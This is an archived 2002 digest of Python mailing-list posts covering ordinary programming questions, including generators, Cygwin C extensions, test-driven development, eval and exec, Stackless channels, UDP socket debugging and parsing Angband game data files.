<3CDCAEDC.2030103@horvath.com> Message-ID: Bob Horvath: >How would you suggest writing a generator that spits out 5 line chunks >of a file at a time? > >How would you do it without generators? David Eppstein answered the first. As to the second, here's an (untested) example class FiveAtATime: def __init__(self, file): self.file = file def next(self): # To iterate manually, and allow iter s = self.file.readline() if not s: return None data = [s] for i in range(4): data.append(self.file.readline()) return data def __getitem__(self, i): # To allow use in for loops x = self.next() if x is None: raise IndexError(i) return x def __iter__(self): # For new-style iters return iter(self, None) This can be used as reader = FiveAtATime(open("input.txt")) while 1: x = reader.next() if x is None: break ... or as for x in FiveAtATime(open("input.txt")): ... You can see, it's rather more complicated than using yield. Andrew dalke at dalkescientific.com From jostein.berntsen at sensewave.com Thu May 16 01:28:20 2002 From: jostein.berntsen at sensewave.com (Jostein Berntsen) Date: Thu, 16 May 2002 07:28:20 +0200 (CEST) Subject: Best book for python? In-Reply-To: References: Message-ID: <61232.136.164.222.25.1021526900.squirrel@to.server.sensewave.com> Hi, What about the Deitel book? New, comprehensive and a very fine cover! ..as well as being a good book. http://www.deitel.com/books/pythonhtp1/pythonhtp1_TOC.pdf http://www.deitel.com/ Regards, Jostein > Hi > > I need to get up to speed on python so am looking for a book. > Quite a few at amazon to choose from. > Any recommendations? > > (BTW i already program in perl/php) > > Mark > -- > Obantec Support > www.obantec.net > WebHosting and Domains > Nominet UK Tag Holder > > > -- > http://mail.python.org/mailman/listinfo/python-list From martin at v.loewis.de Mon May 6 02:53:07 2002 From: martin at v.loewis.de (Martin v. Loewis) Date: 06 May 2002 08:53:07 +0200 Subject: Creating C modules for Python under Cygwin References: <3CD41CC4.5752F30C@wag.caltech.edu> <6DoB8.89183$o66.280563@news-server.bigpond.net.au> Message-ID: "Neil Hodgson" writes: > While you can link against executables, you should avoid doing so in most > cases. The common case where this occurs is where a DLL is mostly a library > that provides services consumed by the executable but a need appears for a > call back into the executable. Isn't that precisely the case with the Python interpreter? Why should that be avoided? > You then have two binaries which depend on each others export > libraries to link. That wouldn't be the case for Python: the interpreter does not depend on symbols in the extension modules. > COM. If you want to use COM objects implemented in Python in-process from > arbitrary executables such as IIS or IE, then you can't require linking to > another executable. That's a good reason. Regards, Martin From pyth at devel.trillke.net Tue May 14 09:43:54 2002 From: pyth at devel.trillke.net (holger krekel) Date: Tue, 14 May 2002 15:43:54 +0200 Subject: Thoughts on new grammar rules (PEP 284 in particular) In-Reply-To: ; from steve@lurking.demon.co.uk on Tue, May 14, 2002 at 02:17:01PM +0100 References: <82undu4anb47usgck50ebil2ku1f36173q@4ax.com> Message-ID: <20020514154354.K28033@prim.han.de> Steve Horne wrote: > On Fri, 10 May 2002 19:32:17 +0200, holger krekel > wrote: > > >Tell us the truth! You were sent from these evil perl-hackers > >on a quest to bring python to perl's line-noise levels :-) > > Nope - I hate perl. > > The basis is taken from XML (or, alternately, LISP). > > In a manual, it is much easier to look up a name than a combination of > operators. For instance, on the first reading of Python code, if you > did not know that the '{', ':', and '}' tokens combined to define > dictionaries, it would be a bit of a pain to look up in the manual > while trying to read some source code. You wouldn't know to look up > 'dictionary' because you wouldn't know it's a dictionary. mostly true. But David Beazley's Essential Reference does it right: it lists many symbols at the beginning of the index (except ':'). > My idea is not practical for everyday features, and I'm not suggesting > it for that. The Python language is already more than rich enough to > support most everyday programming tasks easily. But it allows new > features to be added, and it's no less readable than an calculation > with a few redundant parentheses surely. As such, surely it's better > than performing ever-more-extreme contortions with the existing > keywords and operators, as is already noticable in some PEPs. > > Of course, with 20/20 hindsight, a much better approach could have > been taken. For instance, consider the following... > > begin function ... : > ... > > begin while ... : > ... > And, relevant to a current PEP... > > begin switch ... : > begin case ... : > ... > > begin default : > ... don't you think that the increased verbosity hurts a lot? (Apart from the fact that 'begin' sounds like starting a loop to me.) > and because only 'begin' would be a keyword ('procedure' etc being > ordinary identifiers, which only have special meaning after the > 'begin' keyword) any new structure could be added without needing new > keywords or obscure operator combinations - old code would be safe > from at least one aspect of the evolution of the language. not true, unless the parser doesn't look at your code-block. Consider the 'yield' keyword. Older python-parsers produce a 'SyntaxError'. If you would esacape that with 'begin yield' then the parsing process starts to loose a lot of meaning (apart from beeing very ugly). > So using perlish symbols isn't by any means my ideal - I just think > that in the long run there may already be a risk of serious creaping > perlishness (due to the resistance to adding new keywords) um, this sentence somewhat means that python is already perlish :-) > , and this > would be a way of saying 'this far, but no further'. IMO the developer crew and especially GvR is very careful with respect to language changes. I don't know if it would be possible to be even more conservative about language *syntax* so that older parsers would not choke on future extensions. holger From peter at engcorp.com Fri May 17 19:34:28 2002 From: peter at engcorp.com (Peter Hansen) Date: Fri, 17 May 2002 19:34:28 -0400 Subject: How do you code in Python ??? References: <409a56e2.0205170047.429beb44@posting.google.com> Message-ID: <3CE59384.9C738E01@engcorp.com> Shagshag wrote: > > Newbie to python, i was wondering how *skilled* guys code with it : > > By now to write a function i write it in a text editor (with coloured > syntax), copy and paste it in idle try it, then go back to text > editor to debug it and so on until i've tuned it like i want, then > next function and so on until i complete module... And that's really > boring theses permanent back and forth... > > So how do you do it ? Which tools do you use ? Basic text editors (Codewright at work) and heavy reliance as of recently on the unittest module and Test-Driven Development. See the examples at http://www.diveintopython.org/roman_divein.html for an excellent introduction. Sequence is: 1. create unit test file 2. write first unit test, calling one method 3. run test: it should give an error (method not written yet!) 4. create file with method with simple 'pass' statement 5. run test: it should fail (not an error) because method is useless 6. code method until test passes 7. refactor method, checking test still passes 8. write next test for new functionality 9. run test .... Continue the above sequence until you have something that does what is needed. Now you're done, and you have a full suite of unit tests, so you are fairly certain you can rely on the code you've written. Also, with this approach, the code tends to be much more modular and appears to have a better design than code developed the more traditional way. And you don't need a fancy set of tools for this, just a text editor and your command prompt... -Peter From cliechti at gmx.net Wed May 1 17:05:28 2002 From: cliechti at gmx.net (Chris Liechti) Date: 1 May 2002 23:05:28 +0200 Subject: Polymorphing - how? References: Message-ID: Jaros?aw Zabie??o wrote in news:hjk0duk7aj6bcmi3tkdqnasui6bl593j8t at 4ax.com: > I would like to execute functions which names will be changed during > runtime. The following approach does not work. :-( > > def First(s): > print "myFun1: %s" % s > def Second(s) > print "myFun2: %s" % s > name = 'First' > name('blah') # It doesn't work. :-( > # TypeError: 'str' object is not callable when you leave away the quotes it works... yeah i know it's not likely that this solves your real problem ;-) the "getattr()" builtin is your friend when the functions are in a class or "globals()['name']" for globaly defined functions. chris -- Chris From mwh at python.net Mon May 27 12:53:09 2002 From: mwh at python.net (Michael Hudson) Date: Mon, 27 May 2002 16:53:09 GMT Subject: eval vs. exec References: <3cf232b4@si-nic.hrz.uni-siegen.de> <3cf252f7@si-nic.hrz.uni-siegen.de> Message-ID: Simon Budig writes: > Alexander Schmolck wrote: > > Simon Budig writes: > > > > The distiction is quite simple: use eval for expressions and exec for > > everything else. That of course only works if you know what qualifies as an > > expression in python :) > > I think I do know what an expression is - what I do not know is > how to determine the type to use from a string given by an external > source. Hmm. Maybe compile as "single" but smash the last PRINT_EXPR into a RETURN_VALUE? Might work. You'd probably want to turn all but the last PRINT_EXPR into POP_TOPs too... Something like this? import new, dis POP_TOP = dis.opname.index("POP_TOP") PRINT_EXPR = dis.opname.index("PRINT_EXPR") RETURN_VALUE = dis.opname.index("RETURN_VALUE") def super_eval(expr): code = compile(expr, "", "single") codestring = code.co_code newcode = "" last_i = 0 i = 0 while i < len(codestring): op = ord(codestring[i]) if op > dis.HAVE_ARGUMENT: newcode += codestring[i:i+3] i += 3 elif op == PRINT_EXPR: last_i = i newcode += chr(POP_TOP) i += 1 else: newcode += chr(op) i += 1 if last_i > 0: newcode = newcode[:last_i] + chr(RETURN_VALUE) + newcode[last_i+1:] code = new.code(code.co_argcount, code.co_nlocals, code.co_stacksize, code.co_flags, newcode, code.co_consts, code.co_names, code.co_varnames, code.co_filename, code.co_name, code.co_firstlineno, code.co_lnotab) return eval(code) >>> super_eval("a = 2") >>> super_eval("3*4") 12 >>> super_eval("a = 2; b = 3; a*b") 6 buyer-beware-ly y'rs M. -- I think my standards have lowered enough that now I think ``good design'' is when the page doesn't irritate the living fuck out of me. -- http://www.jwz.org/gruntle/design.html From hamish_lawson at yahoo.co.uk Fri May 10 07:27:34 2002 From: hamish_lawson at yahoo.co.uk (Hamish Lawson) Date: 10 May 2002 04:27:34 -0700 Subject: [Survey] Py Feedback References: <3cd9a9d9.196458672@news.newsguy.com> <7RJC8.43000$zW3.495820@news1.tin.it> Message-ID: <915a998f.0205100327.1e724c46@posting.google.com> Alex Martelli wrote: > Chris wrote: > > > Linux magazine seems to have a lot of interest in Python > > ... [Only] a grand total of two (2) articles over the whole lifetime of LM. Perhaps Chris was thinking of Linux Journal. They regularly have Python-related articles and their May 2000 issue even included a special Python supplement. Hamish Lawson From cliechti at gmx.net Thu May 9 20:46:47 2002 From: cliechti at gmx.net (Chris Liechti) Date: 10 May 2002 02:46:47 +0200 Subject: Join Python script into a huge one References: <1020981481.93253@seux119> Message-ID: "Ugo Garc?a" wrote in news:1020981481.93253 at seux119: > hi all. I use python as the script language of a game I'm doing in > Visual C. The problem that I have is that the game could have very > much scripts and I don't want the user to "see" those. I know that I > can compile them and don't include the source but I still having the > problem of the number of files. Is there any way to join ALL scripts > into a huge one???? It could be great to have all the scripts in only > one file. if you wan't to keep the number of files but not make them visible, consider packing them up in a ZIP file and then use the zipfile module and a custom import hook. variants of this technique are used in py2exe and Installer. this could also help:http://www.mcmillan-inc.com/iu.html other possibilities could be packing them in string resources and feed them throug PyRun_SimpleString or use freeze to convert them to char arrays of bytecode. but i'm in favor of keeping them in a zip as this is the easiest to change/upgrade when you change one of your scripts. chris -- Chris From simon at nospam.demon.co.uk Sat May 4 19:46:25 2002 From: simon at nospam.demon.co.uk (Simon Foster) Date: Sun, 5 May 2002 00:46:25 +0100 Subject: Python Cookbook (printed) Message-ID: <3cd472d2$0$8508$cc9e4d1f@news.dial.pipex.com> Does anyone reading here (Alex?) have any info on the Python Cookbook, the O'Reilly book rather than the ASPN site? It is listed on Amazon as being available April 2002 but seems to have disappeared from the O'Reilly site. From m.hadfield at niwa.co.nz Tue May 7 18:31:52 2002 From: m.hadfield at niwa.co.nz (Mark Hadfield) Date: Wed, 8 May 2002 10:31:52 +1200 Subject: "Inserting" a line in a text file? References: Message-ID: "Duncan Smith" wrote in message news:ab9jch$hv1$1 at newsg4.svr.pol.co.uk... > It just occured to me that I need to ensure that any temporary file > has a unique path + filename. Is there some common idiom for this, > or is os.tempnam([dir[,prefix]]) or os.tmpnam() appropriate? > Cheers. http://www.python.org/doc/current/lib/module-tempfile.html -- Mark Hadfield "Ka puwaha et tai nei, Hoea tatou" m.hadfield at niwa.co.nz National Institute for Water and Atmospheric Research (NIWA) From claird at starbase.neosoft.com Tue May 14 16:53:14 2002 From: claird at starbase.neosoft.com (Cameron Laird) Date: 14 May 2002 15:53:14 -0500 Subject: expect References: Message-ID: <6807BADAD340AA27.E150967B8035E240.FB0E34C1362FE721@lp.airnews.net> In article , Samantha wrote: >I want to automate downloading some info from the web that requires me to fill out a form using javascript. I believe expect is the answer, and I downloaded and installed a .deb package. Now I need some sort of a tutorial that tells me something more on the usage of this module. Doing this: >>>> dir (expect) >['__builtins__', '__doc__', '__file__', '__name__', '_expect', 'popen', 'popen2', 'popen3'] > >shows me very few options that I can use. Is anyone aware of any sort of tutorial online that might help me? . . . No. Expect is not the answer. The approach I take is to inspect the JavaScript source "by hand", and resolve the information there to an HTTP request; this is, with one exception probably not perti- nent to the current discussion, always achievable. There are, in principle, several technical alternatives to this, some of which involve licensed software. Let me know if you prefer to pursue these. Expect, though, does *not* help you achieve what you want. -- Cameron Laird Business: http://www.Phaseit.net Personal: http://starbase.neosoft.com/~claird/home.html From rpm at wag.caltech.edu Sat May 4 13:39:16 2002 From: rpm at wag.caltech.edu (Richard P. Muller) Date: Sat, 04 May 2002 10:39:16 -0700 Subject: Creating C modules for Python under Cygwin Message-ID: <3CD41CC4.5752F30C@wag.caltech.edu> I'm having trouble creating Python modules from C under Cygwin. The process works fine under Linux, but I get a long list of undefined references (to PyArg_ParseTuple, PyArg_BuildValue, etc.) when I try to link under Cygwin. I found a reference in an archive of a Cygwin mailing list that claims I have to satisfy all of the undefined references under Cygwin. But it seems silly to link in the entire Python library in a tiny little module. This must work on some level, since people have managed to compile, for example, NumPy under Cygwin. Am I missing something here or railing against the impossible? Can someone give me pointers? Thanks in advance... Rick -- Richard P. Muller, Ph.D. rpm at wag.caltech.edu http://www.wag.caltech.edu/home/rpm From fabella at free.fr Thu May 30 10:38:36 2002 From: fabella at free.fr (Franck Abella) Date: Thu, 30 May 2002 16:38:36 +0200 Subject: !!! 2.1, 2.2, 2.2.1, PYTHON BUGS ???? References: Message-ID: Merci beaucoup Fran?ois Abella "Emile van Sebille" a ?crit dans le message news: CEqJ8.69097$cQ3.1935 at sccrnsc01... > Franck Abella > [snip] > > try this >>>> j = 6.2 > > >>>> j > > result >>>> 6.2000000000000002 > > > > > FAQ 4.98 > > http://www.python.org/cgi-bin/faqw.py?query=floating+point&querytype=sim > ple&casefold=yes&req=search > > -- > > Emile van Sebille > emile at fenx.com > > --------- > From cheong at msc.cornell.edu Fri May 31 14:24:22 2002 From: cheong at msc.cornell.edu (Siew-Ann Cheong) Date: 31 May 2002 18:24:22 GMT Subject: [Q] Binding a Button Message-ID: Hi, I have a button widget packed into a frame that contains several buttons. In the constructor, I specified the button to be bound to a callback function that pops a child dialog window. I notice that when I hit the key, the buttons packed in the frame are sequentially highlighted, so I presumed that the natural behaviour would be for the key to also invoke the callback function associated with the highlighted button. I did that and nothing happened, and so I decided to bind the key by hand using the widget.bind() method. However, I immediately encounter a problem: the callback function to pop the child dialog window takes two arguments --- self and master --- and so when I try to bind the key to this function, python complains that the callback function expects two arguments but got only one. Alternatively, binding with button.bind("", callback(button) ) does not produce the correct behaviour. Would anyone be kind enough to show me how the expected behaviour, i.e. highlighted button invokes the callback function bound to it? Or if this is an FAQ, can anyone point me to the appropriate place so that I can read it myself? Thanks in advance? Cheong Siew Ann From bbirkinbine at earthlink.net Mon May 13 19:55:12 2002 From: bbirkinbine at earthlink.net (Brian Birkinbine) Date: Mon, 13 May 2002 18:55:12 -0500 Subject: Read file from bottom In-Reply-To: <20020513172034.A24566@merrill.redhat.com>; from hmerrill@redhat.com on Mon, May 13, 2002 at 05:20:34PM -0400 References: <3CE01380.81F9A087@jpl.nasa.gov> <3CE026E9.DAB30A8F@jpl.nasa.gov> <20020513172034.A24566@merrill.redhat.com> Message-ID: <20020513185512.A23803@core-qe1.charter-stl.com> I'm fairly new to python as well. I was brainstorming a non tail specific way of attacking this without actually reading through the entire file (even with caching to conserve memory) Assumptions: linesize throughout file is uniform/close enough (line 1 is similarly long as last line) and doesn't have to start on a newline boundary (but I guess you could pick an arbitrary point (10% from the end), read into buffer, then search forward to the newline, then start normal line processing. Python example code: import os # add error checking, etc to make production ready filename = "YOURFILENAMEGOESHERE" inputfd = file(filename,'rb') # read in one line, calculate line size # can be hardcoded if data is uniform or a percentage of the total filesize, etc... linesize = len(inputfd.readline()) #grab filesize from os.stat st = os.stat(filename) filesize = st.st_size # num of lines backward numlines = 20 # calculate start point from end of file startpoint = filesize - (numlines * linesize) # seek to calculated startpoint inputfd.seek(startpoint) # read file from startpoint to end into buffer # could also just do readline. buffer = inputfd.read() inputfd.close() #YOUR PROCESSING GOES HERE ... On Mon, May 13, 2002 at 05:20:34PM -0400, Hardy Merrill wrote: > You probably already know this, but on the chance you don't, > you can add a parameter to tail to tell it how many lines from > the bottom you want. For example, if I want 35 lines from the > bottom I can do > > tail -35 | python script.py > > Julia Bell [julia.bell at jpl.nasa.gov] wrote: > > Good idea; I never thought of something like that. > > > > My initial reaction is that I don't know I exactly how many lines frm the > > bottom I want. (I currently read the lines, search for data on the lines > > that meets some trigger criterion, and then start processing the data from > > there.) But, there still might be something worth thinking about regarding > > whether it is more efficient to pre-process the data (similar to using > > 'tail') than to process it as part of my script. > > > > Thanks. > > > > Julia Bell > > > > > > William Park wrote: > > > > > Julia Bell wrote: > > > > > > > > > > > Is there an efficient (and relatively easy - I'm new to Python) way of > > > > reading the file from the last line backward instead of the first line > > > > forward? > > > > > > > > > tail | python script.py > > > From tismer at tismer.com Mon May 20 15:14:51 2002 From: tismer at tismer.com (Christian Tismer) Date: Mon, 20 May 2002 12:14:51 -0700 Subject: Ann: Stackless Limbo Dancing Works Fine! References: Message-ID: <3CE94B2B.8070705@tismer.com> Andrew Henshaw wrote: > Christian Tismer wrote: > ...snip... > [snipped my description as well] > Just so that I am clear -- in your concept of channels, can channels be > shared among multiple, parallel, sending processes? What about multiple, > parallel, receiving processes? In other words are your channels similar to > the Queue.Queue object? a) yes, b) too, c) ...reading up Queue.Queue... you meant Java's Queue class? No, I don't implement almost any of the methods. And I'm not queueing data, but proclets. But yes, it is in fact a simple FIFO which triggers reschedules as needed. > The reason that I ask is that this is different from Occam's behavior (and > I believe CSP's). In those systems, a channel should be assigned to at > most one concurrent sender and receiver. At any time, there will be only one sender or receiver. After one is done, another one may show up through the queue. Do you say a channel is only conected to at most one sender and receiver in the sense of the whole program? I believe so, since in Occam, channels are denoted literally in the program text. I didn't look at Occam in the first place, but by reading about the Limbo language. There, a channel is a first-class object, and it is explicitly shared between processes which might want to communicate. This is the reason that bade the implementation look this way. Anyway I'm not yet convinced if this was a good decision. I have no education in parallelism and just followed the hints of a couple of people at Bell Labs. > If you need to merge the output > of multiple processes, then an ALT construct would be used to arbitrate > among the individual channels. Under Occam, sending to the first available > receiver is more complex than in CSP, as it doesn't have ALT output guards > (difficult to implement on distributed processors, I believe); so, I'd > follow the CSP model here. I'm trying hard to understand the CSP model at all, reading articles, books, ... > I suspect you already know all of this, but I thought I would mention it in > case there is some advantage to you in (conceivably) simplifying your > channel design. You can still get the more complex behavior, but it would > be done explicitly. I just tried to do the simplest possible while effective thing. As said, I don't have the background to foresee if the concept can stand a higher level of communication. Does my attempt contradict CSP, and how? Then please let me know. I also learned a few days ago that Occam systems don't seem to use simple queues, but instead pools of processes which are ready to send or receive ofver certain channels. Appears to be quite more complicated, using explicit scheduling decisions and so on. I believe this is also necessary, because Occam has to cope with real parallism, true channel I/O between multiple processors or even machines and such. My simple idea was based on the fact that I have one CPU only, and even easier, it is always shielded by the Python interpreter, the GIL, so I have complete control over this simplified "hardware". Please let me know. I don't want to fight for my idea, but for the best solution in the context of Python. We're talking about two pages of code, and I'm happy to try out different approaches. Thanks & cheers - chris -- Christian Tismer :^) Mission Impossible 5oftware : Have a break! Take a ride on Python's Johannes-Niemeyer-Weg 9a : *Starship* http://starship.python.net/ 14109 Berlin : PGP key -> http://wwwkeys.pgp.net/ work +49 30 89 09 53 34 home +49 30 802 86 56 pager +49 173 24 18 776 PGP 0x57F3BF04 9064 F4E1 D754 C2FF 1619 305B C09C 5A3B 57F3 BF04 whom do you want to sponsor today? http://www.stackless.com/ From rharkins at thinkronize.com Thu May 9 13:21:48 2002 From: rharkins at thinkronize.com (Rich Harkins) Date: Thu, 9 May 2002 13:21:48 -0400 Subject: change a string conditional In-Reply-To: References: Message-ID: <200205091321.48201.rharkins@thinkronize.com> On Thursday 09 May 2002 01:02 pm, obantec support wrote: > Hi > > I need to a piece of python code that will take a string which may or may > not begin with www and change it to lists. > > eg. www.domain.com becomes lists.domain.com > but if domain1.com (no www) the it still becomes lists.domain1.com > > an example of a pattern match will be enough.(I do a bit of perl but never > done any python) > > mark Assuming that you always want to preserve the last two segments of the hostname (the y and z in x.y.z and w.x.y.z) you don't need pattern matches at all... def translate(host,prefix): """ Removes everything from host before the main domain name and places prefix there instead. """ # One line version: return '.'.join(['lists']+host.split('.')[-2:]) parts=host.split('.')[-2:] # Break into parts parts=[prefix]+parts # Stick prefix in front of parts. return '.'.join(parts) # Join it all together with '.''s in between. print translate('www.domain.com','lists') print translate('domain.com','lists') print translate('a.weird.subdomain.domain.com','lists') (The output is): lists.domain.com lists.domain.com lists.domain.com I think that's what you were asking for - or did I miss it? Rich From peter at engcorp.com Thu May 30 22:12:04 2002 From: peter at engcorp.com (Peter Hansen) Date: Thu, 30 May 2002 22:12:04 -0400 Subject: What am I doing wrong? References: Message-ID: <3CF6DBF4.DB43290D@engcorp.com> Banar-Tul wrote: > > I am just starting with Python an I am running into a head stratching > delima. I am using SuSe 7.3 Pro with Python 2.1.1. I start Python by > typing python at the following prompt. > > user at linux:~> python > > From there I can work interactively such as; > > >>> print "Hello World" > Hello World > > But I am trying to follow the examples in Learning Python which instructs > > % cat threenames.py > [example code] > > but the only prompt I get is the >>>. That's because you are still in the Python console. The example above is expecting to be typed at the _shell prompt_. The "%" prompt is an indicator that you should exit Python with Ctrl-D and type the Linux command "cat" which simply displays the contents of the file named 'threenames.py'. >>> indicates the Python prompt % indicates a Linux prompt -Peter From ws-news at gmx.at Thu May 2 08:21:56 2002 From: ws-news at gmx.at (Werner Schiendl) Date: Thu, 2 May 2002 14:21:56 +0200 Subject: internationalization problems References: Message-ID: <3cd12f56$1@brateggebdc5.br-automation.co.at> Hi, use the 'right' names for the encodings: >>> x=u'some text' >>> x.encode('iso-8859-1') 'some text' >>> x.encode('iso-8859-2') 'some text' >>> hth Werner "Johann" wrote in message news:ll82du4mpokdus8oo4rsshsqv43tgheqqp at 4ax.com... > I want to prepare multi platform application which can work in > Windows, Linux and MacOS. The problem is I cannot relay on utf-8 > charset because older computers cannot display it correctly. So I need > to implement codec for 3 different charsets because Windows uses > window-1250, Linux uses iso-8859-2 and Mac uses its own different > coding for Polish characters (I assume, my application will be in > Polish characters native to each platform). > > I thought it would be good to use codec library, but I have almost no > examples in manual how to use it. I have also no experience with this > library. Is it good idea to choose it? Maybe I should choose another > way? > > I have also problem with converting from utf-8 into window-1250 or > iso-8859-2 (latin-2). E.g. > > x = u'some text' > x.encode('latin-1') > # it works but.... I need latin-2... > x.encode('latin-2') > #It does not work :-( > #err: LookupError: unknown encoding > > -- > Johann From bokr at oz.net Tue May 14 18:25:24 2002 From: bokr at oz.net (Bengt Richter) Date: 14 May 2002 22:25:24 GMT Subject: Upper memory limit References: <3CE0E6CE.E14291D7@kfunigraz.ac.at> <3CE11388.697C9AE2@kfunigraz.ac.at> <20020514100006.D24034@eecs.tufts.edu> Message-ID: On Tue, 14 May 2002 19:15:36 +0200, Siegfried Gonzi wrote: [...] > >I cannot comprehend the following: As I wrote, I call 8 times the same >function, and it is interesting to observe that the first call to the >function takes about 10-15 minutes, the second call also 10-15minutes, >but the successive calls become always longer and longer; after 4 hours >I am at my 6. call and still waiting. > Wow. Are you sure you're not just making time to study for another degree? ;-) Seriously, one might suspect you have rolled your own library of matrix operations using lists of lists as matrix representations, and then crunching on huge measurement sequences with numbers stored as strings and converted every time they're used, to estimate monster state vectors and covariance matrices etc., and maybe iterating on top of that to make something nonlinear converge? What can be taking so much time? Have you identified your hottest loops? What kind of algorithms are you using, and on how much data of what kind? > >I have to underline that I do not use any object oriented programming >technique (I assume you meant this when you write "self"). I use simple >functions. Okay I have to admit that I make heavy use of the following >scheme: > >def f(list,list2): > erg = [] > for k in range( len(list) ): > erg.append( function_on_list2( list2[j] ) ) > return erg > > It's not clear to me what k and j do in that, but you know about map, right? (print map.__doc__ if not). BTW, 'list' is a builtin keyword, so it's not a good choice of variable name. >I find the above very readable (and often better in style than Numeric's >idiosyncrasy). > Well, you have a bigger context in your head, I'm sure ;-) >I hope I can make the transition to Linux in the next few month (hoping >that the installation on my laptop will succeed). > Probably a pretty good bet that it will. Regards, Bengt Richter From cliechti at gmx.net Fri May 3 22:28:15 2002 From: cliechti at gmx.net (Chris Liechti) Date: 4 May 2002 04:28:15 +0200 Subject: Synchronization mixin in Python anyone? References: Message-ID: sorry if this msg show up multiple times - i had troubles posting... Sean McGrath wrote in news:mailman.1020454627.587.python-list at python.org: > The Zope system contains a Synchronization mixin class > for thread synchronization written in C. Derive a class from Synchronized > and any mythod calls on an instance of the class are > thread safe. > > Does anybody know of any Python implementation? The C version > exhibits "interesting" refcounting behavior I need to work around. not exactly what you asked for but solving exactly that problem... i attched my attempt to make a method "synchronized" (like known from Java). as you will see in the source comment, there is a small problem on the first use of a sync'd method. someone on the group with a solution appart from derriving from a special base class "Synchronized" which does allocate the condition object? (yes that works but it's a lot more typing and the user has the "chance" to forget the __init__ of it etc. )-: chris ---------------synchronized.py #! /usr/bin/env python # # emulate Java's synchronized methods through a threading.Condition object # python 2.1+ required # cliechti at gmx.net from __future__ import nested_scopes #for those who still use 2.1 ;-) import threading def synchronized(f): """use this method like "staticmethod" to wrap methods in a class.""" def syncwrap(self, *args,**kwargs): #first of all there is no lock, the moment where one is created #is critical - if two or more threads enter a sync'd method on a #"fresh" instance both might create a __lock but the first one #looses his Condition object which was overwriten by the second #thread. one solution could be to implement the wrap function in #c and enable threading right before the wrapped method is called. try: self.__lock.acquire() except AttributeError: #lock does not yet exist (first time use) self.__lock = threading.Condition() self.__lock.acquire() #mirror those practical methods on the instance itself self.wait = self.__lock.wait self.notifyAll = self.__lock.notifyAll self.notify = self.__lock.notify try: return f(self, *args,**kwargs) finally: self.__lock.release() return syncwrap if __name__ == '__main__': #testing... class B: def f(self): import time print "waiting for 3 seconds...", time.sleep(3) print "ok" f = synchronized(f) def g(self): print "just g()" g = synchronized(g) def cons(self): print "cons() waiting..." self.wait() print "cons() ok" cons = synchronized(cons) def prod(self): print "prod() notify" self.notifyAll() prod = synchronized(prod) b=B() #simple locking test threading.Timer(1, b.g).start() #call g while still in f b.f() #f will take 3 seconds #consumer-producer problem test threading.Timer(2, b.prod).start() #call prod after a short delay b.cons() #wait until prod notifies -- Chris From cliechti at gmx.net Sat May 25 19:25:52 2002 From: cliechti at gmx.net (Chris Liechti) Date: 26 May 2002 01:25:52 +0200 Subject: socket sends unexpected extra word in UDP packet References: <20020525170124.3b2d7755.pfortin@pfortin.com> <20020525181034.42ffddb0.pfortin@pfortin.com> Message-ID: Pierre Fortin wrote in news:20020525181034.42ffddb0.pfortin at pfortin.com: > On 25 May 2002 23:32:42 +0200 Chris Liechti wrote: >> Pierre Fortin wrote in >> news:20020525170124.3b2d7755.pfortin at pfortin.com: >> > I created a simple UDP script which does not work with some remote >> > hosts... the only difference I can find is that the packet start >> > looks like this: >> > >> > MACdst, MACsrc, 0x0000, 0x0800, 0x45... >> > ^^^^^^ This is extra. >> > >> > Some systems seem to ignore the extra 0x0000; but my customer's >> > server doesn't... At this point, I don't >> > know precisely what OS the server is running. >> > >> > I can have a fix tested if someone has a patch... I'm not >> > comfortable with the socketmodule.c source; but I'm hunting for the >> > bug in the meanwhile... >> >> it would help when you could post some small script that shows you >> problem. not many people will come up with their own test script but >> if you post one many people could verify your results and code and >> give you some specific advice (or even guess the unknown OS :-). > > Sorry... I assumed that the problem was a generic bug... the script > sends fine from my Mandrake8.2 system (I'm in NC, USA); but sends the > extra 0x0000 from a RedHat7.2 system (in India)... > > Besides, s.sendto() does not give the user access to those parts of > the packet; just the target host/port and the data payload... not an > excuse for not including, just my thinking... :^) these extra bytes seem to be in the ethernet level. thats a problem of the OS and not of python. do you capture the frames from india localy there or at your place? when you capture those frames on you local net from outside, then it could be your router that causes the problem (as ethernet level info does not leave your local network, only IP level and above) > The following script sends correctly from my system; I'll have it > tried in India... > > #!/usr/bin/env python > import socket > s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) > s.sendto("Hello World",('1.2.3.4',1234)) > > Sends: > > 0000 00 20 78 c9 e1 1a 00 01 02 e8 d8 8d*08 00 45 00 > 0010 00 27 00 00 40 00 40 11 74 b4 c0 a8 01 64 01 02 > 0020 03 04 80 7f 04 d2 00 13 62 96 48 65 6c 6c 6f 20 > 0030 57 6f 72 6c 64 grr, copy&paste does not work in the hex view of ethereal on win32 :-( but i get the same (except the MACs of course) > On the RedHat7.2 system, Python 2.2.1 was not included (1.5.2), so it > was built from the tarball. That system gives this on every packet of > the production script (won't know the results of the above test script > for a day or two...): > > 0000 00 04 00 01 00 06 00 02 44 16 3a 46 00 00 08 00 > 0010 45 00 .... ^^^^^ that should be the type, if its an Ethernet II frame but the 802.3 Ethernet has a length field there (at least when i interpret this page: http://www.rware.demon.co.uk/ethernet.htm) looks to me as if there were a problem with the ethernet protocol version > [Aside: if you're wondering about the weird dst MAC address, ethereal > replaces it with: > Linux cooked capture > Packet type: Sent by us (4) > Link-layer address type: 1 > Link-layer address length: 6 >] > > HTH, > Pierre -- Chris From starx at pacbell.net Thu May 9 15:33:29 2002 From: starx at pacbell.net (Philip Swartzleonard) Date: 9 May 2002 19:33:29 GMT Subject: Um... extensible parsing? Message-ID: I am interested in making a program in python that helps people edit the gameworld definition files used in the Angband and it's many and various varients. They are a fairly simple text file format, and each record follow a mostly set pattern. For exapmle, here's the format for one of the files from ToME: # N: serial number : monster name # G: symbol : color # I: speed : hit points : vision : armor class : alertness # W: depth : rarity : corpse weight : experience for kill # E: weapons : torso : arms : finger : head : leg # O: treasure : combat : magic : tool # B: attack method : attack effect : damage # F: flag | flag | etc # S: spell frequency | # S: spell type | spell type | etc # D: Description The only problem here is that some of the lines are optional and may be missing from a valid record. A sample of the actual file looks like this: N:157:Black harpy G:H:D I:120:3d8:16:22:10 W:9:1:600:19 E:0:1:1:0:1:0 O:0:0:0:0 B:CLAW:HURT:1d2 B:CLAW:HURT:1d2 B:BITE:HURT:1d3 F:FEMALE | CAN_FLY | WILD_TOO | WILD_MOUNTAIN | DROP_CORPSE | F:RAND_25 | ANIMAL | EVIL | MORTAL | BASEANGBAND D:A woman's face on the body of a vicious black bird. N:158:Skaven G:r:G I:110:11d8:15:25:20 W:9:1:600:20 E:1:1:1:2:1:1 O:35:35:20:0 B:HIT:HURT:1d4 B:HIT:HURT:1d4 F:EVIL | FRIENDS | DROP_60 